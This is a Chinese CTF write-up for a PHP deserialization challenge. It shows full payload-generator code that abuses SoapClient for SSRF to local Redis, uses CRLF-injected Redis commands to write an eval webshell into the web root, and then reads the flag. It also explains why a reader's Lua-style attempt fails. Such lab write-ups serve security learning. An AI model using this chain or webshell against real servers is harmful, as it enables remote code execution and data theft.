CTF 题解与错误分析
题目信息
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
//hint: Redis20251206
class pure{
public $web;
public $misc;
public $crypto;
public $pwn;
public function __construct($web, $misc, $crypto, $pwn){
$this->web = $web;
$this->misc = $misc;
$this->crypto = $crypto;
$this->pwn = $pwn;
}
public function reverse(){
$this->pwn = new $this->web($this->misc, $this->crypto);
}
public function osint(){
$this->pwn->play_0xGame();
}
public function __destruct(){
$this->reverse();
$this->osint();
}
}
$AI = $_GET['ai'];
$ctf = unserialize($AI);
?>
最终拿到的 flag:
0xGame{SoapClient_SSRF_Attack_Redis}
漏洞点分析
核心危险点是这一句:
$ctf = unserialize($AI);
这意味着我们可以完全控制反序列化出来的 pure 对象属性。
而对象析构时会自动执行:
$this->pwn = new $this->web($this->misc, $this->crypto);
$this->pwn->play_0xGame();
因此我们真正可控的利用链条件是:
$web 必须是一个可实例化的类名。
- 这个类的构造函数要能接受两个参数。
- 构造后调用不存在的方法
play_0xGame() 时,最好能触发可利用行为。
正确利用思路
1. 为什么选 SoapClient
SoapClient 很适合这个场景:
new SoapClient($wsdl, $options)
它刚好是两个参数。
并且当调用一个不存在的方法时,例如:
$soap->play_0xGame();
会触发一次远程 SOAP 请求。也就是说,代码中的:
$this->pwn->play_0xGame();
如果 $this->pwn 是 SoapClient,就会对指定目标发起网络访问。
2. 为什么目标是 Redis
源码里给了提示:
//hint: Redis20251206
从这个提示可以推断:
- 利用方向与 Redis 有关。
20251206 很可能是 Redis 密码。
3. 如何把 SOAP 请求变成 Redis 命令
构造 SoapClient 时可以控制:
如果把 location 指向本机 Redis:
http://127.0.0.1:6379/
那么 SoapClient 发出的请求就会打到本地 Redis。
进一步地,SoapClient 在发请求时会构造 HTTP 头,其中 SOAPAction 会用到我们可控的 uri。如果在 uri 中插入 \r\n,就可以实现 CRLF 注入,把 Redis 命令混入请求中。
因此可以注入下面这些命令:
AUTH 20251206
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x '<?=@eval($_POST[1])?>'
SAVE
这样 Redis 会把数据文件保存成:
/var/www/html/shell.php
虽然这个文件前面带有 Redis dump 头,但其中嵌入的 PHP 代码仍然会被解析执行。
4. 获取 flag
写入 WebShell 后,请求:
/shell.php
并 POST:
echo getenv("Flag");
或者:
system("env");
即可读到环境变量中的 flag。
你的代码为什么不行
你的代码如下:
<?php
class pure{
public $web;
public $misc;
public $crypto;
public $pwn;
}
$exp = new pure();
$exp->web = "Redis";
$exp->misc = "return io.popen('cat /flag.php'):read()";
$exp->crypto = 1;
$exp->pwn = null;
echo urlencode(serialize($exp));
?>
问题主要有四点。
1. 你把 $misc 误认为“会被执行的代码”
实际上 $misc 只会进入这里:
new $this->web($this->misc, $this->crypto);
也就是说,你的 payload 真正对应的是:
new Redis("return io.popen('cat /flag.php'):read()", 1);
这里的字符串只是构造参数,不会自动变成代码执行。
源码里没有任何地方做了:
eval($misc)
assert($misc)
system($misc)
rawCommand($misc)
EVAL $misc
所以这段字符串只是普通文本。
2. 方法名不是你能控制的
后续代码固定执行:
$this->pwn->play_0xGame();
也就是说,你不能让程序改去调用:
eval
rawCommand
system
get
set
所以即使你构造了一个 Redis 对象,也没有进入“执行任意 Redis 命令”的路径。
3. 你写的是 Lua 风格,但题目根本没走到 Lua 执行环境
这句:
return io.popen('cat /flag.php'):read()
看起来是想走 Redis Lua 脚本思路,但题目源码中并没有出现 Redis EVAL 的调用机会,所以这段内容根本不会作为 Lua 脚本执行。
4. 第二个参数也填错了
你给的是:
$exp->crypto = 1;
但正确利用里,第二个参数应该是 SoapClient 的选项数组,例如:
[
"location" => "http://127.0.0.1:6379/",
"uri" => "..."
]
只有这样才能把请求打到本地 Redis,并利用 CRLF 注入命令。
如何纠正
应该把利用方向从“字符串执行”修正为“利用对象行为”。
正确的对象属性应类似这样:
$exp->web = "SoapClient";
$exp->misc = null;
$exp->crypto = [
"location" => "http://127.0.0.1:6379/",
"uri" => "hello\"\r\nAUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?=@eval(\$_POST[1])?>'\r\nSAVE\r\nhello"
];
$exp->pwn = null;
修正后的 PHP Payload 生成代码
<?php
class pure{
public $web;
public $misc;
public $crypto;
public $pwn;
}
$exp = new pure();
$exp->web = "SoapClient";
$exp->misc = null;
$exp->crypto = [
"location" => "http://127.0.0.1:6379/",
"uri" => "hello\"\r\nAUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?=@eval(\$_POST[1])?>'\r\nSAVE\r\nhello"
];
$exp->pwn = null;
echo urlencode(serialize($exp));
?>
利用步骤总结
- 构造
pure 对象,令 $web = "SoapClient"。
- 令
$misc = null,$crypto 为 SoapClient 选项数组。
- 通过
location 指向 127.0.0.1:6379。
- 通过
uri 中的 CRLF 注入 Redis 命令。
- Redis 将恶意内容写入
/var/www/html/shell.php。
- 访问
shell.php,POST 执行命令读取环境变量。
- 获得 flag。
一句话结论
你的 payload 错,不是错在序列化格式,而是错在利用链选择。题目真正能打通的链子不是 Redis 执行字符串,而是 SoapClient 调不存在方法触发 SSRF,再借本地 Redis 写 WebShell 取 flag。